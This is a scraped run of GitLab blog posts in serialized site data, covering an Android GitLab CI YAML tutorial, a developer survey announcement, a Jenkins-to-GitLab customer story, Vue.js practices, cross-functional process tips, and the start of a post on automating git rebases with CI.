./gradlew checkstyle\n    - ./gradlew pmd\n    - ./gradlew findbugs\n  artifacts:\n    name: \"reports_${CI_PROJECT_NAME}_${CI_BUILD_REF_NAME}\"\n    when: on_failure\n    expire_in: 4 days\n    paths:\n      - app/build/reports/\n```\n\n`- ./gradlew lint`\n`- ./gradlew checkstyle`\n`- ./gradlew pmd`\n`- ./gradlew findbugs`\nGradle commands that trigger QA tools.\n`- app/build/reports` – path to our QA reports\n\n## Deploy stage\n\nThe final job (`deploy_internal`) deploys the app to the QA team in deploy stage. You don’t want to deploy every time you commit something so this step is set as manual. Manual jobs are triggered via GitLab web interface by pressing the play button in your pipeline list. If you are using fastlane as your deployment tool, the last job will look like the following code:\n\n```\ndeploy_internal:\n  stage: deploy\n  script:\n    - bundle exec fastlane android deploy_lane\n  when: manual\n```\n\n`- bundle exec fastlane android deploy_lane`– executes fastlane deploy lane that deploys app to the QA team\n`when: manual` – defines [when is a job executed](https://docs.gitlab.com/ee/ci/yaml/#when)\n\n## There’s plenty more\n\nSetting up Android continuous integration with GitLab CI is great and supports plenty of cool features a lot more than we showed. Hopefully this short introduction was helpful and is going to motivate you to discover more features on your own.\n\nComplete `gitlab-ci.yml`:\n\n```\nbefore_script:\n  - export ANDROID_HOME=\"$HOME/Library/Android/sdk\"\n  - bundle install\n\nstages:\n- build\n- test\n- quality_assurance\n- deploy\n\nbuild_job:\n  stage: build\n  script:\n    - ./gradlew clean assembleRelease\n  artifacts:\n    paths:\n    - app/build/outputs/\n\nunit_tests:\n  stage: test\n  script:\n    - ./gradlew test\n  artifacts:\n    name: \"reports_${CI_PROJECT_NAME}_${CI_BUILD_REF_NAME}\"\n    when: on_failure\n    expire_in: 4 days\n    paths:\n      - app/build/reports/tests/\n\ninstrumentation_tests:\n  stage: test\n  script:\n    - emulator -avd testAVD -no-audio -no-window &\n    - ./ci/android-wait-for-emulator.sh\n    - adb devices\n    - adb shell settings put global window_animation_scale 0 &\n    - adb shell settings put global transition_animation_scale 0 &\n    - adb shell settings put global animator_duration_scale 0 &\n    - adb shell input keyevent 82 &\n    - ./gradlew connectedAndroidTest\n    - ./ci/stop-emulators.sh\n  artifacts:\n    name: \"reports_${CI_PROJECT_NAME}_${CI_BUILD_REF_NAME}\"\n    when: on_failure\n    expire_in: 4 days\n    paths:\n      - app/build/reports/androidTests/connected/\n\nstatic_analysis:\n  stage: quality_assurance\n  script:\n    - ./gradlew lint\n    - ./gradlew checkstyle\n    - ./gradlew pmd\n    - ./gradlew findbugs\n  artifacts:\n    name: \"reports_${CI_PROJECT_NAME}_${CI_BUILD_REF_NAME}\"\n    when: on_failure\n    expire_in: 4 days\n    paths:\n      - app/build/reports/\n\ndeploy_internal:\n  stage: deploy\n  script:\n    - bundle exec fastlane android deploy_lane\n  when: manual\n```\n\n_[Working with YAML in GitLab CI from an Android perspective](https://blog.undabot.com/working-with-yaml-in-gitlab-ci-from-android-perspective-b8cf54b5b911) was originally published on Undabot's blog._\n",[110,4772],{"slug":34539,"featured":6,"template":678},"working-with-yaml-gitlab-ci-android","content:en-us:blog:working-with-yaml-gitlab-ci-android.yml","Working With Yaml Gitlab Ci Android","en-us/blog/working-with-yaml-gitlab-ci-android.yml","en-us/blog/working-with-yaml-gitlab-ci-android",{"_path":34545,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34546,"content":34551,"config":34557,"_id":34559,"_type":16,"title":34560,"_source":17,"_file":34561,"_stem":34562,"_extension":20},"/en-us/blog/2018-global-developer-survey",{"title":34547,"description":34548,"ogTitle":34547,"ogDescription":34548,"noIndex":6,"ogImage":12283,"ogUrl":34549,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34549,"schema":34550},"2018 Developer Survey: Uncovering needs & preferences","Take the 2018 Global Developer Survey and be entered to win a Nintendo Switch and GitLab swag.","https://about.gitlab.com/blog/2018-global-developer-survey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"2018 Global Developer Survey aims to uncover developer needs and preferences at work\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2017-11-17\",\n      }",{"title":34552,"description":34548,"authors":34553,"heroImage":12283,"date":34554,"body":34555,"category":8943,"tags":34556},"2018 Global Developer Survey aims to uncover developer needs and preferences at work",[28961],"2017-11-17","\n\nWhat do you need to do your best work? From\noverall developer satisfaction at work and with management, to the use of open\nsource tools and preferred workflow and collaboration methods, we want to\nuncover the needs and preferences of the modern developer.\n\n\u003C!-- more -->\n\nAs an [open core company](/blog/gitlab-is-open-core-github-is-closed-source/), we\nvalue the input, contributions, and needs of our community. Our intention in\nrunning this survey and openly sharing the results is to improve the daily work\nlives of the global development community. We want to empower developers and\ntheir managers with the information they need to work better, together. It's\nour hope that the results of this survey can act as an advocate for the needs of developers,\nreduce the perception gap between management and developers, and shed light on\nwhat high-functioning organizations are doing differently.\n\n## How the survey works\n\nIt takes about 15 minutes to complete and includes approximately 25\nrequired questions and a handful of optional, short answer questions for elaboration.\nThe survey is anonymous, and data and results will be reviewed in aggregate. Topics\nrange from overall developer satisfaction, open source technology, workflows and\ncollaboration, adoption of CI/CD practices, to developer tooling preferences.\n\nWe're committed to putting out a quality and insightful report that is useful\nto the developer community at large. To ensure this, we tested the survey with\nour internal GitLab engineering team to gather feedback and suggestions to make it better.\n\nIt’s open to anyone involved in the software development lifecycle – from\ndevelopers and engineers to DevOps managers and IT executives, we want to hear from you!\n\n## Swag and Nintendo Switch giveaway\n\nAs thanks for participating, we’re giving away five exclusive GitLab robes and one Nintendo Switch! We'll give away a robe per week until they're all gone, using the email addresses from respondents that week. Completing the survey and sharing on social can enter you to win one Nintendo Switch during the final week! Just send a link to your post to [giveaways@gitlab.com](mailto:giveaways@gitlab.com). We can't wait to share the results!\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\n[Take the survey](https://goo.gl/UsfASr)\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\n*You must complete the survey and provide an email address to be eligible to\nwin. Your privacy is important to us; email addresses will only be used for the\ndraw and will not be saved.* [Read official sweepstake rules here.](/community/sweepstakes/)\n{: .note}\n",[8570],{"slug":34558,"featured":6,"template":678},"2018-global-developer-survey","content:en-us:blog:2018-global-developer-survey.yml","2018 Global Developer Survey","en-us/blog/2018-global-developer-survey.yml","en-us/blog/2018-global-developer-survey",{"_path":34564,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34565,"content":34571,"config":34576,"_id":34578,"_type":16,"title":34579,"_source":17,"_file":34580,"_stem":34581,"_extension":20},"/en-us/blog/humangeo-switches-jenkins-gitlab-ci",{"title":34566,"description":34567,"ogTitle":34566,"ogDescription":34567,"noIndex":6,"ogImage":34568,"ogUrl":34569,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34569,"schema":34570},"HumanGeo switched from Jenkins to GitLab and cut costs by 1/3","Management overhead was bogging down the team at HumanGeo. GitLab freed up more than just cash.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680315/Blog/Hero%20Images/humangeo-switches-jenkins-to-gitlab.jpg","https://about.gitlab.com/blog/humangeo-switches-jenkins-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"HumanGeo switched from Jenkins to GitLab and cut costs by 1/3\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2017-11-14\",\n      }",{"title":34566,"description":34567,"authors":34572,"heroImage":34568,"date":34573,"body":34574,"category":734,"tags":34575},[16962],"2017-11-14","\n\nAs a software development company, [HumanGeo](http://www.thehumangeo.com/) ships a lot of code. Specializing in geospatial visualization, they have clients in every sector from video game companies to government agencies. The ability to manage multiple projects, iterate quickly, and operate at scale is critical to their success. Over time, a robust DevOps practice has evolved to allow them to quicken their pace of innovation. But traditional tools in their stack, like Jenkins CI, haven’t be able to deliver.\n\n\u003C!-- more -->\n\nI recently caught up with [Justin Shelton](https://twitter.com/kwonstant), an engineer at HumanGeo, to talk about their expanded use of GitLab and how it’s improved both their workflow and budget. Here’s what he had to say:\n\n## Ease of use cuts admin time by 96%\n\n**William**: Can you tell me about the benefits you’ve seen from GitLab in terms of ease-of-use?\n\n**Justin**: Defining CI as code fits great with the \"Infrastructure as Code\" philosophy. We already push hard to have AWS environments expressed in CloudFormation templates, provisioning via Ansible, and so on. With GitLab CI, we can manage our CI pipeline the same way – with code.\n\nManaging YAML for Domain Specific Language (DSL) is way easier than managing Groovy for Jenkinsfiles (or most other config formats, for that matter). YAML is far more widespread and easy to understand, so more developers at junior and senior levels are exposed to it. The path to getting smart on writing GitLab CI DSL is much faster than coming up to speed on Groovy. While Jenkins is overwhelmingly customizable and familiar, it became Yet Another Thing to Manage™. In the end, GitLab CI shares a lot of the same (and in some cases more) configuration options.\n\nAs full stack engineers we do a lot of our own systems administration. Reducing our platform management burden is a huge plus. We used to spend a 5-6 hours each month managing Jenkins and keeping it running. Now, I might spend 10-15 minutes a month managing GitLab CI.\n\n## Flexible CI runners cuts costs 33%\n\n**William**: In [your blog post](http://blog.thehumangeo.com/gitlab-autoscale-runners.html) you shared that GitLab helped to cut infrastructure costs. How did that work in practice?\n\n**Justin**: The ability to integrate with handlers, like the Docker Machine interface I talk about in the post, is huge for helping to manage costs. We get resources when we need them, and can spin them down when we don't. That saves big money compared to maintaining a large instance and having to manage the JVM size and other factors whenever we run out of space. With Jenkins we used to run a dedicated m2.xlarge on AWS all the time for CI purposes. Now, with GitLab, we are able to run spot instances for only around 40 hours a week, resulting in about 1/3 cost savings. Engineers can change a few config items, and managers can see savings. Win!\n\n## Increasing the pace of innovation\n\n**William**: How else has GitLab adoption impacted your workflow?\n\n**Justin**: The speed of development is huge – new features get added every month, and I get genuinely excited to check out the release notes and update our instance every month. (Another perk is how simple this is, upgrading with two apt commands is as easy as it gets.)\n\n[Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) is the thing I'm most excited to dig into further that's come out recently. I'm excited about taking some of our bespoke release processes and tightening them up using this process. We're sticklers for code quality, so the Code Quality features were big, and we want to start utilizing Auto DevOps for canary releases as well.\n\n## Learn exactly how they did it\n\nAt HumanGeo using Jenkins CI proved to be costly in both time and money. Switching to GitLab reduced administration overhead, lowered spend, and increased development velocity. Justin wrote up a post to share all the technical details on [how HumanGeo scaled GitLab CI runners](http://blog.thehumangeo.com/gitlab-autoscale-runners.html). Check it out and let know us know what you think in the comments or on Twitter.\n\n\"[Pipe Dream](https://unsplash.com/photos/T7s_TnKO-dk)\" by [Sharosh Rajasekher](https://unsplash.com/@sharosh) on Unsplash\n{: .note}\n",[2705,1384,4772],{"slug":34577,"featured":6,"template":678},"humangeo-switches-jenkins-gitlab-ci","content:en-us:blog:humangeo-switches-jenkins-gitlab-ci.yml","Humangeo Switches Jenkins Gitlab Ci","en-us/blog/humangeo-switches-jenkins-gitlab-ci.yml","en-us/blog/humangeo-switches-jenkins-gitlab-ci",{"_path":34583,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34584,"content":34590,"config":34595,"_id":34597,"_type":16,"title":34598,"_source":17,"_file":34599,"_stem":34600,"_extension":20},"/en-us/blog/gitlab-vue-one-year-later",{"title":34585,"description":34586,"ogTitle":34585,"ogDescription":34586,"noIndex":6,"ogImage":34587,"ogUrl":34588,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34588,"schema":34589},"How we do Vue: one year later","How we, at GitLab, write VueJS, one year later.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680321/Blog/Hero%20Images/vue-title.jpg","https://about.gitlab.com/blog/gitlab-vue-one-year-later","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we do Vue: one year later\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Schatz\"}],\n        \"datePublished\": \"2017-11-09\",\n      }",{"title":34585,"description":34586,"authors":34591,"heroImage":34587,"date":34592,"body":34593,"category":734,"tags":34594},[31897],"2017-11-09","\n\nIt's been a while since [we wrote about Vue](/blog/why-we-chose-vue/). We've been using Vue for over a year now and life has been very good. Thanks [@lnoogn](https://twitter.com/lnoogn) for reminding me to write this article!\n\n\u003C!-- more -->\n\nOur situation reminds me of a quote about Scala from [\"Is Scala slowly dying?\"](https://www.reddit.com/r/scala/comments/2hw0bp/is_scala_slowly_dying/) Someone once said:\n\n> Scala people don't have time for redditing and blogging, they're busy getting crap done.\n\nWhich is exactly what we've been doing. Like Scala, Vue works really, really well, when used properly. It turns out Vue isn't a buzzword, Vue is a workhorse. A lot of our problems have been solved, by us and others. We still have problems but, we now have a reproducible \"way to write Vue.\" We don't adopt every new idea out there, but we have changed a few things since we last spoke.\n\nSince that last post, we published a [very extensive Vue style guide](https://docs.gitlab.com/ee/development/fe_guide/vue.html), after which Vue also put out a [style guide](https://vuejs.org/v2/style-guide/), [taking inspiration from ours](https://github.com/vuejs/eslint-plugin-vue/issues/77#issuecomment-315834845). The style guide has been updated several times as we discover better ways to write Vue. Here are some of the things we discovered.\n\n## Just use VueX\n\nWe discovered that [VueX](https://vuex.vuejs.org/) makes our lives easier. If you are writing a medium to large feature, use VueX. If it's a tiny feature, you might get away without it. We made the mistake of not using VueX for a large feature. We wrote a [multi-file editor](https://gitlab.com/gitlab-org/gitlab-ce/issues/31890) (WIP) to replace our current repo file view, to allow easy editing of multiple files.\n\n![multi-file-editor.png](https://about.gitlab.com/images/vue_2017/multi-file-editor.png){: .shadow}\n\nIn the beginning we did not use VueX for this feature and instead used the store pattern. The Vue docs talk about the [store pattern](https://vuejs.org/v2/guide/state-management.html#Simple-State-Management-from-Scratch), which works well when you are committed to strictly keeping to the pattern. We've found that you are better off spending your time with VueX instead. While VueX is initially more verbose, it is much more scalable, and will save you tons of time in the long run. Our mistake happened when we changed the data in multiple places. In VueX you are forced to change the data in one central place. If you don't do this, you will wind up chasing unexpected bugs around.\n\n## Write high quality code\n\nEven though VueJS and VueX are both wonderful, it is still possible (as with any code) to write bad Vue code. While the code may work, your longevity and scalability may suffer. Performance can suffer. With Vue, it makes it so easy to have what seems like working, perfect code because Vue is so simple to write. Longevity problems can mean that your code initially works, but you (and others) will have a hard time trying to update the code. Performance problems might not crop up with small data sets, but will with larger ones. Code can get messy. Your code can get smelly. Yes, even with Vue, you can have [code smell](https://en.wikipedia.org/wiki/Code_smell).\n\nWhen you add something to the `data` object or the `store` for Vue to keep track of, Vue will recursively walk down your data object and keep track of everything. If your data is super hierarchical and just large in general, and you are changing things often (like maybe on `mousemove`), then you can create jank. It's not bad to have Vue observe large data sets, but just confirm that you do in fact need the data you are watching to be reactive. It's easy with Vue to just make everything reactive, when it might not need to be.\n\nThat's why we are very strict when anyone writes Vue code. They must [follow our documentation](https://docs.gitlab.com/ee/development/fe_guide/vue.html). They must also only write Vue when it is necessary and not write it [when it is overkill](https://docs.gitlab.com/ee/development/fe_guide/vue.html#when-not-to-use-vue-js).\n\nAll of our new Vue code follows the [Flux architecture](https://facebook.github.io/flux/). VueX also follows Flux, which is part of the reason we use VueX. You can use the previously mentioned \"store pattern,\" but VueX is a better choice because it enforces all of the rules. If you go rogue, you will wind up enforcing the rules yourself, and you will probably make mistakes. The less you put on your plate, the better. A good example of a well-written Vue app is the [registry image list](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/14303).\n\n### I want to use jQuery with Vue\n\nDuring new development, this question kept popping up.\n> Is it ever OK to mix jQuery with VueJS?\n\nWe are not talking about using [Select2](https://select2.org/), which is a jQuery library. We are talking about the need to query the DOM. We had discussions about using jQuery and the following was proposed:\n\n> Using jQuery is OK, but only for querying.\n\nAt first I had several discussions about using jQuery with Vue. Some had said it might be OK, but only in read-only (querying) situations. However, after doing the research, we found that it is **not** a good idea to use jQuery with Vue. There will always be a better solution. We found that if you ever find yourself needing to query to DOM within a Vue architecture, then you are doing something wrong.\n\nIf one were to hypothetically use jQuery for only the tiniest querying situations, one would have to quantify those situations. You should instead swear off querying the DOM when in Vue.\n\nInstead of querying, you will find that using the `store` in combination with the server-side code is usually a much simpler answer. The server can provide validity to your data that you cannot provide on the client side. For the most part, we find that the less we have to fool with the data on the client side the better. That's not to say it's never OK to modify the data on the client side, but that it isn't usually the cleanest solution. At GitLab we use querying only to grab endpoints from the `data` attribute of our main element, but we don't use jQuery, we use `el.dataset`. At GitLab, we (the Frontend people) talk with the Backend people to ensure the structure of the data we will be consuming. In that way, both the Frontend team and the Backend team can be in control.\n\n#### Example situation:\n\nCheck out this issue:\n\n![issue](https://about.gitlab.com/images/vue_2017/issue.png){: .shadow}\n\nWe now render all issue comments in Vue. An example of a situation where we wanted to use jQuery was during the rewrite of the edit-the-last-user-comment feature. When someone presses that `up` key on their keyboard from an empty new comment `textarea` (at the very bottom of the page) we allow them to edit the last comment they created, just like in Slack. Not just the last comment, but the last comment *they created*. We marked the last user comment in the picture in red. Of course there is a time crunch. Then someone might say,\n\n> Can't we just do a quick solution here and fix it later?\n\nSurely you *could* query the DOM for this. A better solution, in this case, is to let the backend developers mark the last user comment in the JSON they return. Backend developers have direct access to the database, which means they may be able to optimize the code. Then no client-side work has to be done at all, in this case. Someone has to do the work to mark the last user comment. In this case the solution is just finding the right person for the job. Once you have that data from the server, the comment is in your `store`, ready for your easy access. You can do anything now. The world is your oyster.\n\nIf you find yourself querying the DOM, \"just this one time\" 😉, there is always a better solution.\n\n### The proper Vue app\n\nEvery Vue bundle needs one store, one service, and always has one entry point. Your entry point component is the only container component and every other component is presentational. All this information is in our Vue docs.\n\nYou can start out with a single `div`.\n\n```html\n\u003C!--HAML-->\n.js-vue-app{ data: { endpoint: 'foo' }}\n\n\u003C!--HTML-->\n\u003Cdiv class=\"js-vue-app\" data-endpoint=\"foo\">\u003C/div>\n```\nYou can pass your endpoints in through the data attributes. Vue can then call these endpoints with an HTTP client of your choice.\n\nYou don't want to do any URL building in client-side JavaScript. Make sure you pass in all your server-built URLs through endpoints. When writing Vue it's important to let the server do what it should.\n\n## Improve performance\n\nWe recently rewrote our issue comments in Vue. The issue comments were previously written in Haml, jQuery, and Rails. We had a bottleneck because we were not loading the comments asynchronously. A quick solution is to load comments via ajax and populate comments after the page loads. One way to make a page load faster is to not block the page with heavy items and load them after.\n\n![comments.png](https://about.gitlab.com/images/vue_2017/comments.png){: .shadow}\n\nWhat we love is that one day we turned on the new comments and some people didn't know that we had refactored it. As a result of the refactor our issue pages load much faster, and there is less jank.\n\nLoading the comments on the issue page is now streamlined and now individual issues load much faster. In the past, an issue page could have tens of thousands of event listeners. Our previous code was not properly removing and keeping track of event listeners. Those massive event listeners (along with other problems) created jank, so scrolling the page was choppy with many comments. We removed jQuery and added in Vue and focused on improving the performance. You can clearly see and feel that the page is much faster. However, our work to improve the performance has just begun. This rewrite sets the foundation for performance improvements that are easier to write, because the code is much more maintainable. Previously the code was hard to maintain. Now the issue comments code is properly separated and \"componentized.\"\n\nWith these new improvements, as well as other parallel improvements, e.g. loading images on scroll, we were able to make the page load and perform faster.\n\n![speed.png](https://about.gitlab.com/images/vue_2017/speed.png){: .shadow}\n\nRefactoring is that word that a new, super-green developer mentions on day one when they suggest to rewrite everything in Angular. That hasn't happened at GitLab. Our frontend devs tend to be very conservative, which is a very good thing. Which begs the question, why does it seems like [everyone is always refactoring](https://reasonml.github.io/community/blog/#reason-3)? What are they trying to achieve? I can only speak for GitLab. What do we want to achieve with a refactor? In reality it's going to cost a lot of money. The costs are:\n\n1. Cost of doing the refactoring.\n1. Cost of testing the change.\n1. Cost of updating tests and documentation.\n\nYou also have more risk:\n\n1. Risk of introducing bugs.\n1. Risk of taking on a huge task that you can't finish.\n1. Risk of not achieving the quality/improvements you intended.\n\nOur goals are:\n\n**Goal #1**: Make the code more maintainable. We want to make the process of adding new features easier. In the long term this refactor will save us time, but it takes a significant amount of time to recoup the time spent refactoring. The hard truth may be that a refactor usually does not save you time, but can save you stress.\n\n**Goal #2**: What it can do, if done right, is make developers happy. Nothing gives your team more horsepower than a happy, excited coder. A stressed-out coder will want to stop coding; an excited coder will not want to stop. A happy coder saves the most time.\n\nTo meet our goal our next step is to refactor the merge request comments section. Our merge request comments are massively slow for merge requests with lots of comments. The comments become slower and start to be less responsive at around 200 comments. The diffs are slow as well. There are a ton of reasons for this, one of which is that JavaScript is causing multiple reflows that take tons of time. We could refactor this and have already put in a fix, but this isn't a long-term solution.  In the case of a huge MR, there was code that was causing a reflow that [takes over eight seconds](https://gitlab.com/gitlab-org/gitlab-ce/issues/39332)! This is now fixed. In this [image](https://gitlab.com/gitlab-org/gitlab-ce/uploads/e18856a1544d4d0e6420d11fd0479af7/ss__2017-10-20_at_1.41.04_PM.png)  you can see there is other stuff slowing things down. Clearly there is a lot of work to do here. Our biggest problem is that the code is not maintainable, which means that fixes take longer. A refactor into Vue will provide some great initial speed improvements, and lay the groundwork for easier improvements in the future.\n\nThere is so much work to do at GitLab. If you want to be a part of exploring the massive catacombs of GitLab and writing awesome code and if you are interested in helping out our Frontend team, then [apply](https://handbook.gitlab.com/job-families/engineering/development/frontend/).\n",[11037,676],{"slug":34596,"featured":6,"template":678},"gitlab-vue-one-year-later","content:en-us:blog:gitlab-vue-one-year-later.yml","Gitlab Vue One Year Later","en-us/blog/gitlab-vue-one-year-later.yml","en-us/blog/gitlab-vue-one-year-later",{"_path":34602,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34603,"content":34609,"config":34614,"_id":34616,"_type":16,"title":34617,"_source":17,"_file":34618,"_stem":34619,"_extension":20},"/en-us/blog/tasktop-webcast-recap",{"title":34604,"description":34605,"ogTitle":34604,"ogDescription":34605,"noIndex":6,"ogImage":34606,"ogUrl":34607,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34607,"schema":34608},"Cross-functional ≠ dysfunctional","Don't let process hold you back – here are our best practices for working cross-functionally.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671305/Blog/Hero%20Images/tasktop-integration-cover.png","https://about.gitlab.com/blog/tasktop-webcast-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Cross-functional ≠ dysfunctional\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-11-08\",\n      }",{"title":34604,"description":34605,"authors":34610,"heroImage":34606,"date":34611,"body":34612,"category":6634,"tags":34613},[19026],"2017-11-08","\n\nWe recently teamed up with [Tasktop](https://www.tasktop.com/integrations/gitlab-issues) to talk about processes and how to make sure\nthey work for you instead of against you. Check out the highlights below.\n\n\u003C!-- more -->\n\nCreating great software involves a number of different disciplines, each of\nwhich may use their own tool for managing work. Chaos might seem inevitable, but\nwe've learned that a few guiding principles can help to connect people and keep\nchannels of communication open.\n\n## 1. Goals first, process second\n\nProcess exists to serve goals. Before you put processes in place or continue with existing ones, take a step back to establish what you're trying to achieve. Getting input from all stakeholders to determine goals will help to set clear expectations up front and allow everyone to voice their concerns about the scope of the project. Armed with this information, you can then decide on the best process (including timelines, review cycles and communication vehicles) to achieve the desired outcome.\n\n## 2. Establish a single source of truth\n\nWith so many stages and so much activity involved in creating a product or feature, it can be hard to keep track of what's going on. This potential for chaos is quelled by establishing a single source of truth. So when you've outlined your goals and settled on a process for achieving them, write it all down so that everyone has something to refer to and there's no confusion about what was decided or what stage something is at. This is especially helpful for distributed teams, as it means people in other locations and time zones can get up to speed quickly and collaborators can work asynchronously.  \n\n## 3. Clear, visible outcomes\n\nWhat exactly does success mean for your project? What metrics will you use? You want clear, measurable outcomes for what you're working on, so that everyone can see what's expected of them and others. At GitLab, we use [issue trackers](https://docs.gitlab.com/ee/user/project/issues/) to follow the progress of a new feature or project. Individual issues can be customized to reflect the problem you're trying to solve, how you're going to go about it, and what the outcome should be. Issues can be connected to related [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/) so that all involved stakeholders can view new developments or changes right away, in a production-like environment. This way concerns or problems can be flagged at any stage along the way.\n\n## 4. Work cross-functionally from start to finish\n\nThe above guidelines only work if all your different functions are in communication. Instead of locking communication per-stage, per team, or per-specialty principle, leave the doors as open as possible. This minimizes risk, as GitLab Product Manager [Victor Wu](/company/team/#victorwu416) explains:\n\n> When you're creating software, and you're creating a feature, you probably want a security stakeholder involved. Security is often something that's tacked on at the end, but if it's baked directly into the design of the software it will be accounted for, and you can estimate the cost or effort required to design and implement something that accounts for security instead of backtracking later.\n\nCross-functional working also encourages a diversity of ideas from different teams contributing to a feature, which can result in a better outcome. You can foster open communication by working more transparently: make your goals, processes and metrics for success visible to your whole organization, if possible, and invite feedback. Use real-time editing tools (such as Google docs) for meetings and allow everyone to add to the agenda, take notes or suggest follow-up items.\n\n## 5. Improve the process in iterations\n\nFeeling inspired? Before you throw out all your existing processes, think about whether you can [iterate](https://handbook.gitlab.com/handbook/values/#iteration) on them instead. Radical change can be difficult for people to embrace, so you may have more success with gradual adjustments. Identify something that's not working well, and a small change you can make to improve on it.\n\n> Try to win those small battles, solve those small problems, week by week and month to month, and over time your process will improve.\n\n## Recording\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/8X6x54gaYRo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Slides\n\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://docs.google.com/presentation/d/e/2PACX-1vRcQw1XTuEk12ALqnrjMSTPLQ9OAm6Mmzn-eIoUOCJgUdX8dVDejdmN_HaK2AW1lVq1iDG7VxmzaXcD/embed?start=false&loop=false&delayms=3000\" frameborder=\"0\" width=\"960\" height=\"569\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\nYou can read more about [Tasktop's GitLab integration here](/blog/tasktop-gitlab-integration/).\n",[3554,232,2368,1444],{"slug":34615,"featured":6,"template":678},"tasktop-webcast-recap","content:en-us:blog:tasktop-webcast-recap.yml","Tasktop Webcast Recap","en-us/blog/tasktop-webcast-recap.yml","en-us/blog/tasktop-webcast-recap",{"_path":34621,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34622,"content":34628,"config":34634,"_id":34636,"_type":16,"title":34637,"_source":17,"_file":34638,"_stem":34639,"_extension":20},"/en-us/blog/automating-boring-git-operations-gitlab-ci",{"title":34623,"description":34624,"ogTitle":34623,"ogDescription":34624,"noIndex":6,"ogImage":34625,"ogUrl":34626,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34626,"schema":34627},"GitBot – automating boring Git operations with CI","Guest author Kristian Larsson shares how he automates some common Git operations, like rebase, using GitLab CI.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672374/Blog/Hero%20Images/gitbot-automate-git-operations.jpg","https://about.gitlab.com/blog/automating-boring-git-operations-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitBot – automating boring Git operations with CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kristian Larsson\"}],\n        \"datePublished\": \"2017-11-02\",\n      }",{"title":34623,"description":34624,"authors":34629,"heroImage":34625,"date":34631,"body":34632,"category":734,"tags":34633},[34630],"Kristian Larsson","2017-11-02","\n\nGit is super useful for anyone doing a bit of development work or just trying to\nkeep track of a bunch of text files. However, as your project grows you might\nfind yourself doing lots of boring repetitive work just around Git itself. At\nleast that’s what happened to me and so I automated some boring Git stuff using our\n[continuous integration (CI) system](/solutions/continuous-integration/).\n\n\u003C!-- more -->\n\nThere are probably all sorts of use cases for automating various Git operations\nbut I’ll talk about a few that I’ve encountered. We’re using GitLab and [GitLab\nCI](/solutions/continuous-integration/) so that’s what my examples\nwill include, but most of the concepts should apply to other systems as well.\n\n## Automatic rebase\n\nWe have some Git repos with source code that we receive from vendors, who we can think\nof as our `upstream`. We don’t actually share a Git repo with the vendor but\nrather we get a tar ball every now and then. The tar ball is extracted into a\nGit repository, on the `master` branch which thus tracks the software as it is\nreceived from upstream. In a perfect world the software we receive would be\nfeature complete and bug free and so we would be done, but that’s usually not\nthe case. We do find bugs and if they are blocking we might decide to implement\na patch to fix them ourselves. The same is true for new features where we might\nnot want to wait for the vendor to implement it.\n\nThe result is that we have some local patches to apply. We commit such patches\nto a separate branch, commonly named `ts` (for TeraStream), to keep them\nseparate from the official software. Whenever a new software version is released,\nwe extract its content to `master` and then rebase our `ts` branch onto `master`\nso we get all the new official features together with our patches. Once we’ve\nimplemented something we usually send it upstream to the vendor for inclusion.\nSometimes they include our patches verbatim so that the next version of the code\nwill include our exact patch, in which case a rebase will simply skip our patch.\nOther times there are slight or major (it might be a completely different design)\nchanges to the patch and then someone typically needs to sort out the patches\nmanually. Mostly though, rebasing works just fine and we don’t end up with conflicts.\n\nNow, this whole rebasing process gets a tad boring and repetitive after a while,\nespecially considering we have a dozen of repositories with the setup described\nabove. What I recently did was to automate this using our CI system.\n\nThe workflow thus looks like:\n\n- human extracts zip file, git add + git commit on master + git push\n- CI runs for `master` branch\n   - clones a copy of itself into a new working directory\n   - checks out `ts` branch (the one with our patches) in working directory\n   - rebases `ts` onto `master`\n   - push `ts` back to `origin`\n- this event will now trigger a CI build for the `ts` branch\n- when CI runs for the `ts` branch, it will compile, test and save the binary output as “build artifacts”, which can be included in other repositories\n- GitLab CI, which is what we use, has a CI_PIPELINE_ID that we use to version built container images or artifacts\n\nTo do this, all you need is a few lines in a .gitlab-ci.yml file, 